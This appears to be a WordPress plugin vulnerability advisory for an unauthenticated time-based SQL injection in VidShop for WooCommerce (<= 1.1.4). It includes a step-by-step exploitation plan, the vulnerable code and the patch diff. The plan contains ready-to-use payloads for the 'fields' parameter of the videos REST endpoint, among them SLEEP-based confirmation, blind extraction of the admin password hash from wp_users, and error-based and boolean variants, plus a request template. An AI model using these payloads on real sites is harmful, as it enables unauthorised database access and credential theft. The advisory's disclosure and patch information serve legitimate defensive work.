VidShop – Shoppable Videos for WooCommerce <= 1.1.4 - Unauthenticated Time-Based SQL Injection via 'fields'
Description
The VidShop – Shoppable Videos for WooCommerce plugin for WordPress is vulnerable to time-based SQL Injection via the 'fields' parameter in all versions up to, and including, 1.1.4 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=1.1.4What Changed in the Fix
Changes introduced in v1.1.5
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-0702 - VidShop SQL Injection ## 1. Vulnerability Summary The **VidShop – Shoppable Videos for WooCommerce** plugin (versions <= 1.1.4) is vulnerable to an unauthenticated time-based SQL Injection. The vulnerability exists in the REST API handler for retrieving…
Show full research plan
Exploitation Research Plan: CVE-2026-0702 - VidShop SQL Injection
1. Vulnerability Summary
The VidShop – Shoppable Videos for WooCommerce plugin (versions <= 1.1.4) is vulnerable to an unauthenticated time-based SQL Injection. The vulnerability exists in the REST API handler for retrieving videos, specifically through the fields parameter. The plugin fails to sanitize or properly prepare the list of columns provided by the user before incorporating them into a SELECT statement within its custom Query_Builder.
2. Attack Vector Analysis
- Endpoint:
/wp-json/vidshop/v1/videos(GET) - Vulnerable Parameter:
fields - Authentication: Unauthenticated (Default). The
check_public_permissioncallback inVideos_Controllertypically allows read access to published videos. - Payload Type: Time-based blind SQL injection (e.g.,
SLEEP()). - Preconditions: At least one video must exist in the database (specifically the
vsfw_videostable) to trigger the execution of theSELECTclause for the returned rows.
3. Code Flow
- Request Entry: An unauthenticated user sends a GET request to
wp-json/vidshop/v1/videos?fields=.... - Route Registration: In
includes/rest-api/v1/class-videos-controller.php, the route/videosis registered with theget_itemscallback. - Parameter Handling: The
get_itemsmethod retrieves thefieldsparameter from theWP_REST_Request. - Query Building: The controller uses
Video_Model::query(), which returns an instance ofVSFW\Utils\Query_Builder. - Vulnerable Sink: The controller calls
$query->select( explode( ',', $request['fields'] ) ). - SQL Construction: In
includes/utils/class-query-builder.php, theselect()method populates the$columnsarray. When the query is executed (viaget()orget_raw()), the builder constructs the SQL string by joining these columns:SELECT field1, field2, [PAYLOAD] FROM wp_vsfw_videos.... - Execution: The raw string is executed via
$wpdb->get_results(), triggering the SQL payload.
4. Nonce Acquisition Strategy
REST API GET requests in WordPress typically do not require a nonce for public collections. However, if the environment is hardened:
- Trigger Script Loading: Create a page containing the VidShop shortcode
[vsfw-videos]. - Identify Variable: The plugin likely localizes script data via
wp_localize_script. Based on standard VidShop patterns, check for a global object likevidshop_dataorvsfw_settings. - Extraction:
wp post create --post_type=page --post_status=publish --post_title="VidShop Test" --post_content='[vsfw-videos]'- Navigate to the new page.
browser_eval("window.vsfw_settings?.rest_nonce")(inferred key).
- Bypass: Check
Videos_Controller::check_public_permission. If it returns__return_true, no nonce or authentication is required.
5. Exploitation Strategy
We will use a time-based payload to confirm the injection.
Step 1: Confirm Injection
Submit a request that causes a 5-second delay.
- Method:
GET - URL:
/wp-json/vidshop/v1/videos - Parameters:
fields:id,(SELECT(1)FROM(SELECT(SLEEP(5)))a)per_page:1(To ensure the sleep only triggers once)
Step 2: Data Extraction (Example: Admin Hash)
Extract the first character of the admin password hash.
- Payload:
id,(SELECT IF(ASCII(SUBSTR((SELECT user_pass FROM wp_users WHERE ID=1),1,1))=36,SLEEP(5),1)) - Note:
36is the ASCII for$, which is the start of WordPress phpass hashes.
Request Format (via http_request):
{
"method": "GET",
"url": "http://vulnerable-hostname.tld/wp-json/vidshop/v1/videos",
"params": {
"fields": "id,(SELECT(1)FROM(SELECT(SLEEP(5)))a)",
"per_page": "1"
}
}
6. Test Data Setup
- Ensure WooCommerce is active: The plugin requires it.
- Create a Video: The injection requires at least one row in the videos table to execute the
SELECTlist expressions.wp eval "VSFW\Models\Video_Model::create(['title' => 'Exploit Test', 'type' => 'media_library', 'thumbnail_id' => 1, 'status' => 'published']);" - Verify Public Access: Ensure the REST API is reachable.
7. Expected Results
- Vulnerable Version: The HTTP response will be delayed by approximately 5 seconds.
- Patched Version (1.1.5): The response will return immediately, likely with a
400 Bad Requestor thefieldsparameter will be ignored/sanitized, returning only valid columns.
8. Verification Steps
After the HTTP request, verify the database state or logs:
- Check Query Logs: If
WP_DEBUGandSAVEQUERIESare on, check the SQL query logged. - No Side Effects: Since this is a
SELECTinjection, no data should be modified, but time-based confirmation is definitive. - Manual Check:
(This confirms the syntax used in the payload is valid for the target DB).wp db query "SELECT id, (SELECT SLEEP(1)) FROM wp_vsfw_videos LIMIT 1;"
9. Alternative Approaches
- Boolean-Based Blind: If time-based is unreliable, use
fields=id,(CASE WHEN (1=1) THEN 1 ELSE 0 END)and check if the returned JSON includes a column with value1vs0. - Error-Based: If
WP_DEBUGis enabled, tryfields=id,updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users WHERE ID=1)),1). - Different Endpoint: Check if
GET /wp-json/vidshop/v1/videos/(?P<id>[\d]+)also processes thefieldsparameter via the sameget_itemlogic.
Summary
The VidShop plugin for WordPress is vulnerable to unauthenticated time-based SQL Injection via the 'fields' parameter on the REST API videos endpoint. Due to insufficient validation and escaping within the Query_Builder's select method, an attacker can inject arbitrary SQL commands into the column list of a SELECT query.
Vulnerable Code
// includes/rest-api/v1/class-videos-controller.php (around line 309 in v1.1.4) if ( $fields ) { $selected_fields = explode( ',', $fields ); $query->select( $selected_fields ); } --- // includes/utils/class-query-builder.php (line 407 in v1.1.4) public function select( $columns = array( '*' ) ) { $this->columns = is_array( $columns ) ? $columns : func_get_args(); return $this; }
Security Fix
@@ -180,6 +180,68 @@ } /** + * Get allowed fields for select query (whitelist for SQL injection prevention) + * + * @return array + */ + private function get_allowed_fields() { + return array( + 'id', + 'title', + 'type', + 'source_url', + 'thumbnail_id', + 'video_id', + 'settings', + 'status', + 'created_by', + 'created_at', + 'updated_at', + ); + } + + /** + * Sanitize fields parameter - whitelist validation + * + * @param string $fields Comma-separated fields. + * @return string Sanitized fields. + */ + public function sanitize_fields_param( $fields ) { + if ( empty( $fields ) ) { + return ''; + } + error_log( 'Sanitize fields parameter: ' . $fields ); + $requested_fields = array_map( 'trim', explode( ',', $fields ) ); + $allowed_fields = $this->get_allowed_fields(); + $valid_fields = array_filter( + $requested_fields, + function ( $field ) use ( $allowed_fields ) { + return in_array( $field, $allowed_fields, true ); + } + ); + error_log( 'Valid fields: ' . implode( ',', $valid_fields ) ); + return implode( ',', $valid_fields ); + } + /** * Get collection parameters */ @@ -222,12 +284,14 @@ 'enum' => array( 'asc', 'desc' ), ), 'fields' => array( - 'description' => __( 'Comma-separated list of fields to include in the response.', 'vidshop-for-woocommerce' ), - 'type' => 'string', + 'description' => __( 'Comma-separated list of fields to include in the response.', 'vidshop-for-woocommerce' ), + 'type' => 'string', + 'sanitize_callback' => array( $this, 'sanitize_fields_param' ), ), 'ids' => array( - 'description' => __( 'Comma-separated list of video IDs.', 'vidshop-for-woocommerce' ), - 'type' => 'string', + 'description' => __( 'Comma-separated list of video IDs.', 'vidshop-for-woocommerce' ), + 'type' => 'string', + 'sanitize_callback' => array( $this, 'sanitize_ids_param' ), ), ); @@ -303,7 +368,8 @@ $query->order_by( $orderby, $order ); } - if ( $fields ) { + // Select specific fields (already validated via whitelist in sanitize_callback) + if ( ! empty( $fields ) ) { $selected_fields = explode( ',', $fields ); $query->select( $selected_fields ); }
Exploit Outline
The exploit targets the public WordPress REST API endpoint /wp-json/vidshop/v1/videos. An attacker makes a GET request and provides a SQL payload within the 'fields' parameter. Because the plugin uses explode() on the 'fields' string and passes the resulting array directly into a SELECT statement without validation, an attacker can append a subquery using time-based functions like SLEEP(). Payload Structure: GET /wp-json/vidshop/v1/videos?fields=id,(SELECT(1)FROM(SELECT(SLEEP(5)))a)&per_page=1 Authentication: None required (Unauthenticated). Condition: At least one entry must exist in the 'vsfw_videos' table for the SELECT query to execute the SLEEP payload.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.